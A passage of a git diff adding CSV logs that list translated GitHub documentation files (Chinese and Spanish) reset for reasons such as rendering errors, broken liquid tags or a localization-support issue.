+translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error +translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error +translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error +translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error +translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error +translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error +translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error +translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error +translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error +translations/zh-CN/content/admin/github-actions/index.md,rendering error +translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error +translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error +translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,broken liquid tags +translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error +translations/zh-CN/content/admin/guides.md,rendering error +translations/zh-CN/content/admin/index.md,broken liquid tags +translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,broken liquid tags +translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,Listed in localization-support#489 +translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,rendering error +translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags +translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,broken liquid tags +translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md,broken liquid tags +translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,broken liquid tags +translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error +translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,broken liquid tags +translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags +translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,broken liquid tags +translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags +translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,broken liquid tags +translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,broken liquid tags +translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,broken liquid tags +translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,broken liquid tags +translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,broken liquid tags +translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error +translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error +translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error +translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,broken liquid tags +translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error +translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error +translations/zh-CN/content/billing/index.md,rendering error +translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,broken liquid tags +translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,broken liquid tags +translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,parsing error +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,Listed in localization-support#489 +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error +translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error +translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags +translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,broken liquid tags +translations/zh-CN/content/code-security/getting-started/github-security-features.md,broken liquid tags +translations/zh-CN/content/code-security/getting-started/securing-your-organization.md,broken liquid tags +translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md,rendering error +translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,broken liquid tags +translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error +translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,broken liquid tags +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,Listed in localization-support#489 +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,parsing error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,broken liquid tags +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,broken liquid tags +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,Listed in localization-support#489 +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error +translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,Listed in localization-support#489 +translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error +translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error +translations/zh-CN/content/codespaces/customizing-your-codespace/index.md,rendering error +translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,broken liquid tags +translations/zh-CN/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md,rendering error +translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error +translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error +translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error +translations/zh-CN/content/codespaces/developing-in-codespaces/index.md,rendering error +translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,broken liquid tags +translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error +translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error +translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error +translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error +translations/zh-CN/content/codespaces/managing-your-codespaces/index.md,rendering error +translations/zh-CN/content/codespaces/overview.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error +translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error +translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error +translations/zh-CN/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md,broken liquid tags +translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error +translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md,broken liquid tags +translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md,broken liquid tags +translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,broken liquid tags +translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,broken liquid tags +translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md,broken liquid tags +translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md,broken liquid tags +translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,broken liquid tags +translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error +translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error +translations/zh-CN/content/developers/apps/getting-started-with-apps/about-apps.md,broken liquid tags +translations/zh-CN/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md,broken liquid tags +translations/zh-CN/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md,broken liquid tags +translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,broken liquid tags +translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/index.md,broken liquid tags +translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md,broken liquid tags +translations/zh-CN/content/developers/overview/managing-deploy-keys.md,rendering error +translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md,broken liquid tags +translations/zh-CN/content/developers/webhooks-and-events/webhooks/about-webhooks.md,broken liquid tags +translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md,broken liquid tags +translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md,broken liquid tags +translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,broken liquid tags +translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md,broken liquid tags +translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,broken liquid tags +translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags +translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags +translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error +translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error +translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md,broken liquid tags +translations/zh-CN/content/get-started/quickstart/communicating-on-github.md,broken liquid tags +translations/zh-CN/content/get-started/quickstart/create-a-repo.md,rendering error +translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags +translations/zh-CN/content/get-started/quickstart/github-flow.md,broken liquid tags +translations/zh-CN/content/get-started/using-git/about-git.md,rendering error +translations/zh-CN/content/get-started/using-git/dealing-with-non-fast-forward-errors.md,broken liquid tags +translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error +translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error +translations/zh-CN/content/get-started/using-github/github-for-mobile.md,broken liquid tags +translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md,rendering error +translations/zh-CN/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error +translations/zh-CN/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,broken liquid tags +translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error +translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md,broken liquid tags +translations/zh-CN/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,broken liquid tags +translations/zh-CN/content/github/working-with-github-support/github-enterprise-cloud-support.md,broken liquid tags +translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,broken liquid tags +translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error +translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error +translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error +translations/zh-CN/content/graphql/guides/index.md,rendering error +translations/zh-CN/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error +translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error +translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error +translations/zh-CN/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md,broken liquid tags +translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489 +translations/zh-CN/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,broken liquid tags +translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md,Listed in localization-support#489 +translations/zh-CN/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error +translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error +translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error +translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags +translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error +translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error +translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md,broken liquid tags +translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md,broken liquid tags +translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags +translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md,broken liquid tags +translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,broken liquid tags +translations/zh-CN/content/packages/quickstart.md,broken liquid tags +translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags +translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags +translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags +translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,broken liquid tags +translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags +translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags +translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md,Listed in localization-support#489 +translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error +translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags +translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md,broken liquid tags +translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags +translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error +translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,broken liquid tags +translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error +translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error +translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error +translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error +translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error +translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error +translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error +translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error +translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error +translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error +translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error +translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md,broken liquid tags +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error +translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error +translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,broken liquid tags +translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md,broken liquid tags +translations/zh-CN/content/rest/guides/basics-of-authentication.md,Listed in localization-support#489 +translations/zh-CN/content/rest/guides/basics-of-authentication.md,rendering error +translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md,rendering error +translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md,broken liquid tags +translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md,rendering error +translations/zh-CN/content/rest/overview/api-previews.md,rendering error +translations/zh-CN/content/rest/overview/other-authentication-methods.md,Listed in localization-support#489 +translations/zh-CN/content/rest/overview/other-authentication-methods.md,rendering error +translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md,Listed in localization-support#489 +translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md,rendering error +translations/zh-CN/content/rest/reference/activity.md,broken liquid tags +translations/zh-CN/content/rest/reference/apps.md,broken liquid tags +translations/zh-CN/content/rest/reference/enterprise-admin.md,broken liquid tags +translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md,rendering error +translations/zh-CN/content/rest/reference/repos.md,rendering error +translations/zh-CN/content/rest/reference/search.md,rendering error +translations/zh-CN/content/rest/reference/secret-scanning.md,rendering error +translations/zh-CN/content/rest/reference/teams.md,rendering error +translations/zh-CN/content/search-github/searching-on-github/searching-commits.md,rendering error +translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md,rendering error +translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md,rendering error +translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error +translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,broken liquid tags +translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md,broken liquid tags +translations/zh-CN/data/release-notes/enterprise-server/2-20/15.yml,Listed in localization-support#489 +translations/zh-CN/data/release-notes/enterprise-server/2-21/6.yml,Listed in localization-support#489 +translations/zh-CN/data/reusables/apps/deprecating_auth_with_query_parameters.md,Listed in localization-support#489 +translations/zh-CN/data/reusables/notifications/vulnerable-dependency-notification-options.md,Listed in localization-support#489 +translations/zh-CN/data/reusables/package_registry/docker_registry_deprecation_status.md,Listed in localization-support#489 +translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md,Listed in localization-support#489 +translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md,parsing error diff --git a/translations/log/es-resets.csv b/translations/log/es-resets.csv new file mode 100644 index 0000000000..85b0d2e6fa --- /dev/null +++ b/translations/log/es-resets.csv @@ -0,0 +1,896 @@ +file,reason +translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error +translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,rendering error 